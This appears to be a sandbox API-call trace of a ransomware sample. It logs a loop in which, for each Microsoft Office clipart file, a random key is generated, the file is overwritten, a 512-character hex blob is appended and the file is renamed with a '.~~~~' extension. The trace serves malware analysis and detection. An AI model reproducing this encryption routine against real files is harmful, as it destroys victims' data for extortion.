	[0097.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841220 | out: hHeap=0x300000) returned 1
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d250
	[0097.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.702] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.702] GetLastError () returned 0x0
	[0097.702] GetLastError () returned 0x0
	[0097.702] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.702] GetLastError () returned 0x0
	[0097.702] GetLastError () returned 0x0
	[0097.756] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe0c4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.757] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1f3c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x25dfec0*=0x1f3c, lpOverlapped=0x0) returned 1
	[0097.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.758] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.758] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.758] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.758] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.759] CloseHandle (hObject=0x11c) returned 1
	[0097.759] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.759] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.~~~~")) returned 1
	[0097.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.761] GetLastError () returned 0x0
	[0097.761] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.762] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.762] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.762] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21775251724) returned 1
	[0097.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa3fc3170, dwHighDateTime=0x1d60e1e)) 
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841290
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841290 | out: hHeap=0x300000) returned 1
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d2e8
	[0097.763] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.763] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.763] GetLastError () returned 0x0
	[0097.763] GetLastError () returned 0x0
	[0097.763] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.763] GetLastError () returned 0x0
	[0097.763] GetLastError () returned 0x0
	[0097.805] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe914, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.805] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x16ec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x16ec, lpOverlapped=0x0) returned 1
	[0097.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.806] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.806] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.806] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.806] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.806] CloseHandle (hObject=0x11c) returned 1
	[0097.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.~~~~")) returned 1
	[0097.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.808] GetLastError () returned 0x0
	[0097.808] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.809] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.809] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.809] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21779923593) returned 1
	[0097.809] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4035590, dwHighDateTime=0x1d60e1e)) 
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841338
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841338 | out: hHeap=0x300000) returned 1
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.809] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.809] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.810] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d418
	[0097.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.810] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.810] GetLastError () returned 0x0
	[0097.810] GetLastError () returned 0x0
	[0097.810] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.810] GetLastError () returned 0x0
	[0097.810] GetLastError () returned 0x0
	[0097.872] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcb84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.872] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x347c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x347c, lpOverlapped=0x0) returned 1
	[0097.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.873] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.873] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.874] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.874] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.874] CloseHandle (hObject=0x11c) returned 1
	[0097.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.874] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.~~~~")) returned 1
	[0097.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.875] GetLastError () returned 0x0
	[0097.876] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.877] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.877] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.877] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21786695061) returned 1
	[0097.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa40cdb10, dwHighDateTime=0x1d60e1e)) 
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841418
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841418 | out: hHeap=0x300000) returned 1
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d5e0
	[0097.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.878] GetLastError () returned 0x0
	[0097.878] GetLastError () returned 0x0
	[0097.878] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.878] GetLastError () returned 0x0
	[0097.878] GetLastError () returned 0x0
	[0097.969] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffc1f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.969] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3e10, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x3e10, lpOverlapped=0x0) returned 1
	[0097.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.970] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.970] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.970] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.970] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.971] CloseHandle (hObject=0x11c) returned 1
	[0097.971] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.~~~~")) returned 1
	[0097.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0097.972] GetLastError () returned 0x0
	[0097.972] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0097.973] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.973] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0097.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0097.973] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21796345360) returned 1
	[0097.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa41b2350, dwHighDateTime=0x1d60e1e)) 
	[0097.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0097.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa0f0
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0f0 | out: hHeap=0x300000) returned 1
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d840
	[0097.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.974] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0097.974] GetLastError () returned 0x0
	[0097.974] GetLastError () returned 0x0
	[0097.974] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0097.974] GetLastError () returned 0x0
	[0097.975] GetLastError () returned 0x0
	[0098.080] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffec2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.080] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x13d4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x13d4, lpOverlapped=0x0) returned 1
	[0098.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.082] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.082] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.082] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.082] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.082] CloseHandle (hObject=0x11c) returned 1
	[0098.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.083] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.~~~~")) returned 1
	[0098.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.084] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.084] GetLastError () returned 0x0
	[0098.084] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.085] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.095] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.095] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21808487206) returned 1
	[0098.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa42e2e50, dwHighDateTime=0x1d60e1e)) 
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
